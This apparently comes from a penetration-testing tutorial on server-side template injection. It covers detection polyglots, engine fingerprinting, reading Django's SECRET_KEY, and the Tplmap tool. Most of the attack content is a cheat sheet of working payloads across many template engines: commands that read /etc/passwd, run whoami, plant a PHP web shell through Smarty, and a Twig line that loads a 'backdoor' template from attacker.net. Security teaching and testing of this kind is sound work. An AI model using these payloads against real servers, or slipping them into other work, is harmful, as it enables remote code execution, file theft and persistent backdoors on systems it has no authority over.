Server Side Template Injection (SSTI)
Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).
Template engines are designed to combine templates with a data model to produce result documents which help to populate dynamic data into web pages.
Template engines are:
PHP–Smarty,Twigs
JAVA–Velocity,Freemaker
Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage
Ruby-Liquid
SSTI can be injected everywhere, e.g., fuzzing an HTTP parameter.
POST /endpoint HTTP/1.1Host: vulnerable-website.comparameter=value
To detect this vulnerability, we can use the following chars:
${{<%[%'"}}%\.
Potential exploitation scenario:
POST /some-endpoint HTTP/1.1Host: vulnerable-website.comparameter=${{<%[%'"}}%\.
Potential crash:
If the error message is not displaying the template engine, we can test via known syntaxes for the popular template engines:
=${7*3}={{7*3}}=<%= 7*3 %>
Check out everytime the documentation of the manual for the template engine (which is Django in this case) and use the following payload to read the debug output:
POST /some-endpoint HTTP/1.1Host: vulnerable-website.comparameter={% debug %}
The output of the payload above is the following:
Read the secret key using the ‘settings’ object that’s available:
POST /some-endpoint HTTP/1.1Host: vulnerable-website.comparameter={{settings.SECRET_KEY}}
To identify the vulnerability, the following to-do list can be followed:
Detect where the template injection exist
Identify the template engine and validate the vulnerability
Follow the manuals for the specific template engine
Exploit the vulnerability
The following cheat sheet can be used to identify the template engine in use:
Tplmap assists in the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with several sandbox escape techniques to get access to the underlying operating system.
The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tools during web application penetration tests.
For more information, please check the GitHub repository for the tool here.
Polyglot:${{<%[%'"}}%\FreeMarker (Java):${7*7} = 49<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }(Java):${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}${T(java.lang.System).getenv()}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}Twig (PHP):{{7*7}}{{7*'7'}}{{dump(app)}}{{app.request.server.all|join(',')}}"{{'/etc/passwd'|file_excerpt(1,30)}}"@{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}Smarty (PHP):{$smarty.version}{php}echo `id`;{/php}{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}Handlebars (NodeJS):wrtz{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').exec('whoami');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}Velocity:#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#endERB (Ruby):<%= system("whoami") %><%= Dir.entries('/') %><%= File.open('/example/arbitrary-file').read %>Django Tricks (Python):{% debug %}{{settings.SECRET_KEY}}Tornado (Python):{% import foobar %} = Error{% import os %}{{os.system('whoami')}}Mojolicious (Perl):<%= perl code %><% perl code %>Flask/Jinja2: Identify:{{ '7'*7 }}{{ [].class.base.subclasses() }} # get all classes{{''.class.mro()[1].subclasses()}}{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}Flask/Jinja2:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}Jade:#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}Razor (.Net):@(1+2)@{// C# code}
For more payloads, please refer to here.
